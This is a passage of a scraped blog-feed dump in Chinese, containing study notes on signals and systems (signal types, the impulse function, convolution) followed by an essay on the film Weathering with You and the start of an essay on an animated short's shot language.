href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"1-信号与系统\"\u003e\u003c/a\u003e1-信号与系统\u003c/h2\u003e\u003ch3 id=\"1-1-信号与系统的概念\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-1-%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%9A%84%E6%A6%82%E5%BF%B5\" class=\"headerlink\" title=\"1.1-信号与系统的概念\"\u003e\u003c/a\u003e1.1-信号与系统的概念\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e信号\u003c/strong\u003e 是信息的载体\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e系统\u003c/strong\u003e 是若干事物组成的功能性整体,其基本作用是对信号进行\u003cstrong\u003e传输\u003c/strong\u003e和\u003cstrong\u003e处理\u003c/strong\u003e。输入信号(激励),系统产生输出(响应)。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e信号处理\u003c/strong\u003e 对信号加工处理,去除无关信息。\u003c/p\u003e\u003cp\u003e通信过程分为两种,有线和无线。\u003c/p\u003e\u003ch3 id=\"1-2-信号的描述\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-2-%E4%BF%A1%E5%8F%B7%E7%9A%84%E6%8F%8F%E8%BF%B0\" class=\"headerlink\" title=\"1.2-信号的描述\"\u003e\u003c/a\u003e1.2-信号的描述\u003c/h3\u003e\u003ch4 id=\"描述\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E6%8F%8F%E8%BF%B0\" class=\"headerlink\" title=\"描述\"\u003e\u003c/a\u003e描述\u003c/h4\u003e\u003cp\u003e信号是信息的一种物理体现,一般是随时间或位置变化的物理量。可以分为电信号和非电信号。二者可以相互转换。\u003c/p\u003e\u003cp\u003e描述方式有函数和波形描述。\u003c/p\u003e\u003ch4 id=\"分类\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"分类\"\u003e\u003c/a\u003e分类\u003c/h4\u003e\u003cp\u003e按照实际用途可以分为电视,雷达,控制信号等等\u003c/p\u003e\u003cp\u003e按照所具有的时间特性划分:\u003c/p\u003e\u003cul\u003e\u003cli\u003e确定信号和随机信号 能否用确定的时间函数表示的信号。\u003c/li\u003e\u003cli\u003e连续信号和离散信号 \u003cstrong\u003e连续的时间范围内\u003c/strong\u003e是否有定义的信号。\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003e连续信号和离散信号分别可以对应模拟信号(时间和幅值均连续的信号)和数字信号。信号传输时通常采用数字信号的形式传输,在系统中使用时会重新解码为模拟信号。\u003cbr/\u003e模拟转数字过程:先抽样,转化为抽样信号(时间离散,幅值连续的信号);再量化,转化为幅值和时间均为离散的信号(把一个区间内的值都映射为一个值),随后将信号进行编码再发射出去。\u003cbr/\u003e![[Pasted image 20221220093016.png]]\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e周期信号和非周期信号 定义域在$(-\\infty, +\\infty)$间,每隔$T$重复的信号。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e判断两个周期信号的和信号是否为周期信号\u003c/strong\u003e 设两信号周期分别为$T_1,T_2$,若$\\frac{T_1}{T_2}$为有理数,则和信号是周期信号,且周期为$T_1,T_2$的最小公倍数。\u003c/p\u003e\u003cp\u003e正弦\u003cstrong\u003e信号\u003c/strong\u003e一定是\u003cstrong\u003e周期信号\u003c/strong\u003e,其和则不一定。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e判断$f(k)=sin(\\beta k)$是否为周期信号\u003c/strong\u003e ![[Pasted image 20221220094043.png]]\u003c/p\u003e\u003cp\u003e上面的$\\beta$称为数字角频率,这意味着把信号离散化了。\u003cstrong\u003e正弦序列不一定是周期序列,两个周期序列之和一定是周期序列\u003c/strong\u003e。\u003c/p\u003e\u003cul\u003e\u003cli\u003e能量信号与功率信号\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e信号瞬时功率 将信号$f(t)$施加到$1\\Omega$的电阻上,其瞬时功率为$\\vert{f(t)}\\vert^2$。能量和平均功率的定义为:\u003c/p\u003e\u003cp\u003e$$E=\\int \\vert{f(t)}\\vert^2 dt$$\u003cbr/\u003e$$P=lim_{t \\to \\infty}\\frac{1}{T}\\int_{-\\frac{T}{2}}^{\\frac{T}{2}}\\vert{f(t)}\\vert^2 dt$$\u003c/p\u003e\u003cp\u003e若能量有界,则称为能量有限信号/\u003cstrong\u003e能量信号\u003c/strong\u003e。此时$P=0$;若功率有界,则称为功率有限信号/\u003cstrong\u003e功率信号\u003c/strong\u003e,此时$E=\\infty$。\u003c/p\u003e\u003cp\u003e对于离散信号也一样,将积分改为求和即可:![[Pasted image 20221220095410.png]]\u003c/p\u003e\u003cul\u003e\u003cli\u003e一维信号和多维信号 如音频信号/图像信号\u003c/li\u003e\u003cli\u003e因果信号与反因果信号 $t\u0026lt;0,f(t)=0$即因果信号,$t\\geq 0, f(t)=0$ 称为反因果信号\u003c/li\u003e\u003cli\u003e确定性信号\u003c/li\u003e\u003c/ul\u003e\u003col\u003e\u003cli\u003e指数信号$f(t)=Ke^{\\alpha t}$ 若只保留$t\\geq 0$的部分则称为单边信号\u003c/li\u003e\u003cli\u003e正弦信号$f(t)=Ksin(\\omega t+\\theta)$ 在前面乘一个衰减的指数信号则称为衰减正弦信号\u003c/li\u003e\u003cli\u003e复指数信号 把指数信号的$\\alpha$换为$s=\\sigma +j\\omega$,即复数,这称为复频率![[Pasted image 20221220100315.png]]\u003c/li\u003e\u003cli\u003e抽样信号$Sa(t)=\\frac{sin t}{t}$,向两侧衰减的余弦信号![[Pasted image 20221220100538.png]]\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"1-3-信号的基本运算\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-3-%E4%BF%A1%E5%8F%B7%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%BF%90%E7%AE%97\" class=\"headerlink\" title=\"1.3-信号的基本运算\"\u003e\u003c/a\u003e1.3-信号的基本运算\u003c/h3\u003e\u003ch4 id=\"加法和乘法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E5%8A%A0%E6%B3%95%E5%92%8C%E4%B9%98%E6%B3%95\" class=\"headerlink\" title=\"加法和乘法\"\u003e\u003c/a\u003e加法和乘法\u003c/h4\u003e\u003cul\u003e\u003cli\u003e连续信号:函数相加/乘\u003c/li\u003e\u003cli\u003e离散信号:对应各离散量相加/乘\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"信号的时间变换\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E4%BF%A1%E5%8F%B7%E7%9A%84%E6%97%B6%E9%97%B4%E5%8F%98%E6%8D%A2\" class=\"headerlink\" title=\"信号的时间变换\"\u003e\u003c/a\u003e信号的\u003cstrong\u003e时间变换\u003c/strong\u003e\u003c/h4\u003e\u003cul\u003e\u003cli\u003e反转:将 $f(t)\\to f(-t)$ ,$f(k)\\to f(-k)$ 称为对信号$f(\\cdot)$的反转或反折。从图形上看是将$f(\\cdot)$以纵坐标为轴反转$180^o$:\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230414120234.png\"/\u003e\u003c/li\u003e\u003cli\u003e平移:将 $f (t) → f (t – t_0)$ , $f (k) → f (k – k_0)$称为对信号$f (·)$的平移或移位。若$t_0$ (或$k_0$) $\u0026gt;0$,则将$f (·)$右移;否则左移\u003c/li\u003e\u003cli\u003e展缩:将 $f (t) → f (at)$ , 称为对信号$f(t)$的尺度变换。若$a \u0026gt;1$ ,则波形沿横坐标压缩;若$0\u0026lt; a \u0026lt; 1$ ,则扩展:\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230414121016.png\"/\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"组合变换\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E7%BB%84%E5%90%88%E5%8F%98%E6%8D%A2\" class=\"headerlink\" title=\"组合变换\"\u003e\u003c/a\u003e组合变换\u003c/h4\u003e\u003cp\u003e原图进行变换:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230414121048.png\"/\u003e\u003c/p\u003e\u003cp\u003e变换得到原图:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230414121123.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"1-4-阶跃函数和冲激函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-4-%E9%98%B6%E8%B7%83%E5%87%BD%E6%95%B0%E5%92%8C%E5%86%B2%E6%BF%80%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"1.4-阶跃函数和冲激函数\"\u003e\u003c/a\u003e1.4-阶跃函数和冲激函数\u003c/h3\u003e\u003cp\u003e这俩是奇异函数(函数本身\u003cstrong\u003e有不连续点(跳变点)\u003c/strong\u003e 或 \u003cstrong\u003e其导数与积分有不连续点\u003c/strong\u003e 的一类函数)\u003c/p\u003e\u003ch4 id=\"阶跃函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E9%98%B6%E8%B7%83%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"阶跃函数\"\u003e\u003c/a\u003e阶跃函数\u003c/h4\u003e\u003cp\u003e函数如下:$\\epsilon(t)=0:x\u0026lt;=0;1,x\u0026gt;0$\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415131707.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"单位冲激函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E5%8D%95%E4%BD%8D%E5%86%B2%E6%BF%80%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"单位冲激函数\"\u003e\u003c/a\u003e单位冲激函数\u003c/h4\u003e\u003cul\u003e\u003cli\u003e函数值只在t = 0时不为零\u003c/li\u003e\u003cli\u003e积分面积为1\u003c/li\u003e\u003cli\u003e$t=0$时,$\\delta(t)\\to \\infty$,为无界函数\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415131930.png\"/\u003e\u003c/p\u003e\u003cp\u003e对$\\epsilon(t)$\u003cstrong\u003e求导即可得到\u003c/strong\u003e单位冲激函数$\\delta(t)$。它高度无穷高,厚度无穷窄,面积为1。反过来,对单位冲激函数积分就可以得到$\\epsilon(t)$。\u003c/p\u003e\u003cp\u003e它有如下重要性质:\u003c/p\u003e\u003col\u003e\u003cli\u003e取样性:\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415132334.png\"/\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e例如:\u003c/p\u003e\u003cul\u003e\u003cli\u003e$sin(t+\\frac{\\pi}{4})\\delta(t)=sin(\\frac{\\pi}{4})\\delta(t)=\\frac{\\sqrt{2}}{2}$\u003c/li\u003e\u003cli\u003e$\\int_{-\\infty}^{\\infty}{sin(t-\\frac{\\pi}{4})\\delta(t)}=-\\frac{\\sqrt{2}}{2}$\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e冲激偶:\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415132850.png\"/\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415132931.png\"/\u003e\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e\u003cstrong\u003e尺度变换\u003c/strong\u003e:\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415134240.png\"/\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415134319.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"2-连续系统的时域分析\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-%E8%BF%9E%E7%BB%AD%E7%B3%BB%E7%BB%9F%E7%9A%84%E6%97%B6%E5%9F%9F%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"2-连续系统的时域分析\"\u003e\u003c/a\u003e2-连续系统的时域分析\u003c/h2\u003e\u003ch3 id=\"2-1-LTI连续系统的响应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-1-LTI%E8%BF%9E%E7%BB%AD%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%93%8D%E5%BA%94\" class=\"headerlink\" title=\"2.1-LTI连续系统的响应\"\u003e\u003c/a\u003e2.1-LTI连续系统的响应\u003c/h3\u003e\u003col\u003e\u003cli\u003e微分方程的经典解\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e步骤相对固定:\u003c/p\u003e\u003cp\u003e先计算通解,再计算特解,随后回代特解和激励,得到特解的系数;最后回代,利用初始条件得到方程的未知系数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e计算通解:就是方程对应齐次微分方程的解。得到特征根后即可写出通解\u003c/li\u003e\u003cli\u003e计算特解:根据激励的形态确定特解形式。激励形式有指数、幂级数、三角函数三种形式,以及冲激函数。前三种有固定的特解形式\u003c/li\u003e\u003cli\u003e回代得到特解系数:就是回代,然后化简,就能得到特解系数\u003c/li\u003e\u003cli\u003e得到全解:通解=齐次解+特解。最后代入初始条件得到通解的系数,即可得到全解\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e\u003cp\u003e关于$0_-$和$0_+$值\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e零输入响应\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e零状态响应\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e全响应\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e一般情况下,根据换路定律,二者应该是相等的。但是\u003cstrong\u003e当激励中含有冲激函数及其导数时,$t=0$激励接入系统时,响应及其导数就可能发生跃变\u003c/strong\u003e。这种情情况下,就需要手工计算二者。通常有两种方法:\u003cem\u003e积分法\u003c/em\u003e和\u003cem\u003e待定系数法\u003c/em\u003e。\u003c/p\u003e\u003ch3 id=\"2-2-冲激响应和阶跃响应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-2-%E5%86%B2%E6%BF%80%E5%93%8D%E5%BA%94%E5%92%8C%E9%98%B6%E8%B7%83%E5%93%8D%E5%BA%94\" class=\"headerlink\" title=\"2.2-冲激响应和阶跃响应\"\u003e\u003c/a\u003e2.2-冲激响应和阶跃响应\u003c/h3\u003e\u003ch3 id=\"2-3-零状态响应与卷积积分\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-3-%E9%9B%B6%E7%8A%B6%E6%80%81%E5%93%8D%E5%BA%94%E4%B8%8E%E5%8D%B7%E7%A7%AF%E7%A7%AF%E5%88%86\" class=\"headerlink\" title=\"2.3-零状态响应与卷积积分\"\u003e\u003c/a\u003e2.3-零状态响应与卷积积分\u003c/h3\u003e\u003cp\u003e根据LTI系统的线性性质、齐次性质、时不变性质可以得到,任意激励$f(t)$的响应$y_{zs}(t)$为:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ey_{zs}(t)=\\int_{-\\infty}^{\\infty}{}f(\\tau)h(t-\\tau)d\\tau=f(t)*h(t)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e从直观上看,这相当于:$f(t)$引发的响应等于所有构成它的冲激函数单独作用引起的响应之和。\u003c/p\u003e\u003cp\u003e从而,计算LTI系统响应就可以直接用卷积积分计算,无需求解经典微分方程。一般步骤:\u003c/p\u003e\u003cul\u003e\u003cli\u003e求$h(t)$:这一步就是求解微分方程,得到系统响应\u003c/li\u003e\u003cli\u003e求$y_{zs}(t)$:直接用任意激励$f(t)$卷上系统响应$h(t)$就能得到零状态响应$y_{zs}(t)$\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"2-4-卷积积分\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-4-%E5%8D%B7%E7%A7%AF%E7%A7%AF%E5%88%86\" class=\"headerlink\" title=\"2.4-卷积积分\"\u003e\u003c/a\u003e2.4-卷积积分\u003c/h3\u003e\u003cp\u003e定义:一般而言,有两个定义在实数域上的函数$f_1(t)$和$f_2(t)$,它们的卷积积分定义为:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef(t)=f_1(t)*f_2(t)=\\int_{-\\infty}^{\\infty}{f_1(\\tau)f_2(t-\\tau)d\\tau}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e计算方法也很多,比如图解法:\u003cstrong\u003e已知二者波形时,先换元,将$t$换为$\\tau$;再将$f_2(\\tau)$变换为$f_2(t-\\tau)$;随后将二者相乘,最后将乘积对$\\tau$积分\u003c/strong\u003e。注意,这里对乘积积分时,需要注意到$t$是个不确定的变量,应该分区间讨论。\u003c/p\u003e\u003cp\u003e性质:首先是代数运算,它满足\u003c/p\u003e\u003cul\u003e\u003cli\u003e交换律\u003c/li\u003e\u003cli\u003e分配律\u003c/li\u003e\u003cli\u003e结合律\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e其次,是函数和冲激函数的卷积,这是最简单的一种情况。有以下结论:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef(t)*\\delta(t)=\\delta(t)*f(t)=\\int_{-\\infty}^{\\infty}{\\delta(\\tau)f(t-\\tau)d\\tau}=f(t)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e也就是任意函数卷上$\\delta(t)$得到它本身。推广得:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef(t)*\\delta(t-t_0)=\\delta(t-t_0)*f(t)=f(t-t_0)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e还可以得到:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef_1(t-t_1)*f_2(t-t_2)=f_1(t-t_2)*f_2(t-t_1)=f_1(t)*f_2(t)*\\delta(t-t_1-t_2)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e此外,还有:$f(t)*\\delta’(t)=f’(t)$成立\u003c/p\u003e\u003ch2 id=\"3-离散系统的时域分析\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#3-%E7%A6%BB%E6%95%A3%E7%B3%BB%E7%BB%9F%E7%9A%84%E6%97%B6%E5%9F%9F%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"3-离散系统的时域分析\"\u003e\u003c/a\u003e3-离散系统的时域分析\u003c/h2\u003e\u003ch2 id=\"4-傅里叶变换和系统的频域分析\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#4-%E5%82%85%E9%87%8C%E5%8F%B6%E5%8F%98%E6%8D%A2%E5%92%8C%E7%B3%BB%E7%BB%9F%E7%9A%84%E9%A2%91%E5%9F%9F%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"4-傅里叶变换和系统的频域分析\"\u003e\u003c/a\u003e4-傅里叶变换和系统的频域分析\u003c/h2\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/"}]},{"name":"lby's blog site","email":"","uri":"http://lby.github.io/","description":"","article":[{"title":"天气之子——那场熙攘的雨","time":"2023-03-31T07:35:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e序章\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e说起来这竟是如此戏谑又巧合。初逢《天气之子》,我意外迎到了久别难以谋面的知己,虽不至推杯换盏之态,然语心诉情,盛着清风淡月彼肩散漫,是我们对彼此最奢华的礼待。于是乎,莫明而缠绵的秋雨,便让这座城清冷了一周。而再临影院重看《天气之子》这一程,着一袭黑色风衣的我竟显得与这街景格格不入——久违的日光与日影,渲染着本就斑斓的枯叶、草木,让色彩蕴出的世间,令人难以确信虚实。只惜,身形侧尽秋风过,既日别去,我们都已成顾影的离人。\u003c/p\u003e\u003cp\u003e在大雨磅礴中相遇,在丽日和风中相离,这种自以为里的浪漫与伤感,恰与帆高和阳菜的命运相映。本就执着于新海诚的风格,如此一遭,分明又添了几分好感。还是要感谢《天气之子》,正如新海域在B站的采访中谈到,作为被动画救赎的自己,如今也希望用自己的创作触动、救赎当下的年青人,于我,能从纷扰的尘世被拉出,重新去相信,执着那些因适应生存而“退化”的思与情,这定是一种救赎且宛若新生。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eあめ,あめ\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e似乎除了阳菜身边罕见般足以称为奇迹的晴天,东京的雨,浸透了《天气之子》整部影片,雨落地疯狂,以致于常人脑中锋面气旋的基本原理,已很难与这场超乎寻常的雨相奏泊。而帆高最初流落街头,收养的那只名为小雨的猫,在不断地向一只橘猫的体形转变。从某种意义上而言,这又何尝不是对东京雨势变化的暗示?\u003c/p\u003e\u003cp\u003e新海城营造的雨,在《言叶之庭》中已经淅淅沥沥的下了几场。不过《言叶之庭》的雨,更多是作为背景环境和表现手法,为这场彼此缄默难料结果的爱情交织出朦胧而又忧伤的氛围,《天气之子》的雨,则已成为主要的剧情线索,承担着诸多情感的映射,深层次的象征。在此过程中,雨被赋予了一种灵性,在意象与意境二者中游走自如。\u003c/p\u003e\u003cp\u003e何以言之?《天气之子》中的雨,已从朦胧化走向真实化。东京这场不停歇的雨,让晴女的有在有了合理性和价值,人们面对天气,尤显这场惊骇又显无力的雨,内心情感的曲折变化;对于停雨而牺牲晴女的争讨,并由此上升至个体对世界的挣扎反抗……雨在此被新海诚作为更为全面的载体,也是诸多表达上的媒介,而非仅仅具有渲染效果。这样的雨就必须要求多样性。在《天气之子》中,镜头的把控起到了至关的作用,雨被不同镜头分出了层次。磅礴地雨落如柱,一方水洼泛起雨露的轻鸢剪影,东京街头细密如织已融成灰白的强降水,还有阳菜伞顶的惊鸿一暼……雨的多层次化使其可以被模仿现实地细致描摹,值得画师用手绘去一点点刻画,精妙到雨的溅落方向都以水滴为分异,也会被采用印象派的手法,仅用简单的线条,概括般的色块以及光影变幻来表达雨势。\u003c/p\u003e\u003cp\u003e如此多元化的雨,却正是对现实雨的高度拟合,也由此更具有现实意义。雨的变化多端并非率性,而是对人物内心的同步反映。就像阳菜,帆高和凪前辈被迫逃亡途中,雨势随之愈演愈烈,正是对三者内心的孤苦、迷茫和愤怒的读取和直观表现,为加强效果,甚至设定阳菜能招来来闪电。 新海诚在此最精妙的手法,便是利用雨声的表现性。雨声的骤然暂停烘托出放情的天气效果;雨声的变化结合雨势变化共同反映情感变化;雨声持续地击打传递出压抑;以及将雨声做为伴奏之一更好表现插曲。雨被全面的激活,构架出《天气之子》,成为其核心、也最具灵魂的艺术效果。由此看来,用雨进行表述,反过来也赋予了雨灵性,雨共享了其自身应表现的情感,却因此不再呆板。寓情于景,景往往活过来抒情。不仅于此,《天气之子》中的雨,既充当了固定的意象,也成为了特殊的意境,雨的身份在二者中游自如。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://lby.github.io/2023/03/31/%E5%A4%A9%E6%B0%94%E4%B9%8B%E5%AD%90%E2%80%94%E2%80%94%E9%82%A3%E5%9C%BA%E7%86%99%E6%94%98%E7%9A%84%E9%9B%A8/"},{"title":"毕业旅行镜头语言浅析","time":"2023-03-31T07:22:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e我惊讶于这一次的动画短片没有以一场华丽的终焉之战收结,而是用“毕业旅行”这样的概念收束全片。也正因如此,整部短片充满回忆与现实的交错,在时间的倒带中用具象化的场景呈现出琪亚娜的内心世界(月台、列车)。近八分钟的时长里有诸多回忆片段的闪回,但配合着高超的叙述手法和多段式的节奏风格,竟没有丝毫的强行感动而因此落入俗套。\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e毕业是与过往的人与事告别,而动画短片精巧地为告别编排了层次——苦难与敌人(奥托、千律、侵蚀)、携手同行的挚友(芽衣,布洛尼娅)、与其一同度过的回忆片段(闪回部分)、回忆出发的原点(姬子与圣芙蕾雅),最终落脚到过去的那个小小的却步伐坚定的自己。毕业典礼临近尾声,琪亚娜看着过去的自己走向偌大的地球,她知晓她的命运,知晓她最终要去承担将整个地球扛在肩上的责任,但时间交错的自己还是再一次做出了相同的选择,用前行作为无声的承诺。过往回溯到了最初的起点,与过去毕业的旅行也到了终点站,情感基调充斥着不舍与伤感,但画面一转,琪亚娜走向月球的身影